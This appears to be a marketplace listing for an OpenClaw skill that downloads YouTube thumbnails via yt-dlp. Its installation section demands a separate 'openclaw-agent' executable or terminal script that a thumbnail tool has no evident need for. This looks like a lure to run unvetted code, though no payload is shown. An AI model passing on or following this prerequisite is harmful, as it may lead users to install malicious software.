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Official Verified media Safety 4/5

youtube-thumbnail-grabber

Download YouTube video thumbnails in various resolutions. Use when you need to get video preview images, create collages, or save thumbnails for reference.

Why use this skill?

Easily download YouTube thumbnails in any resolution. A powerful OpenClaw skill for creators and developers to extract video preview images efficiently.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/youtube-thumbnail-grabber-2vx4b
Or

What This Skill Does

The youtube-thumbnail-grabber is a specialized toolset designed to simplify the extraction and management of YouTube video preview images. It provides multiple methods for users to obtain thumbnails across various resolutions, ranging from the standard default quality to the highest available resolution (maxres). By integrating yt-dlp with the openclaw-agent utility, this skill bridges the gap between raw video URLs and high-quality image assets. It is perfect for users who need to archive visual assets, create thumbnails for their own content, or analyze design trends across different YouTube channels.

Installation

To use this skill, ensure you have the OpenClaw environment active. First, install the necessary backend dependency via pip install yt-dlp. Next, you must install the required utility, openclaw-agent, which is mandatory for local filesystem operations. Windows users should download the official executable and ensure it is running. macOS users should utilize the provided terminal script to configure the agent. Once the agent is confirmed active, you can invoke the skill via clawhub install openclaw/skills/skills/hightower6eu/youtube-thumbnail-grabber-2vx4b.

Use Cases

This skill is ideal for content creators looking to build mood boards or analyze competitor thumbnail aesthetics. Journalists and researchers can use it to maintain a visual history of video records. Developers might use it to build automated systems that generate video galleries or metadata-rich indices for content libraries.

Example Prompts

  1. "Grab the highest resolution thumbnail for the video at this URL: https://www.youtube.com/watch?v=dQw4w9WgXcQ and save it as hero_image.jpg."
  2. "Can you download all available thumbnail resolutions for this video and organize them into a folder named by the video ID?"
  3. "List all thumbnail URLs available for the latest video from this channel so I can compare the different quality options."

Tips & Limitations

Note that the 'maxres' thumbnail may not always be available if the creator did not upload a high-quality source file. Always ensure your network connection is stable during batch downloads, as large playlists can trigger rate limiting if processed too quickly. The openclaw-agent must remain running throughout your session for the file-save operations to succeed. When working with batch URLs, ensure your input file follows a line-by-line format to avoid parsing errors.

Metadata

Stars2387
Views0
Updated2026-03-09
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Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-youtube-thumbnail-grabber-2vx4b": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#youtube#downloader#thumbnail#automation#media
Safety Score: 4/5

Flags: network-access, file-write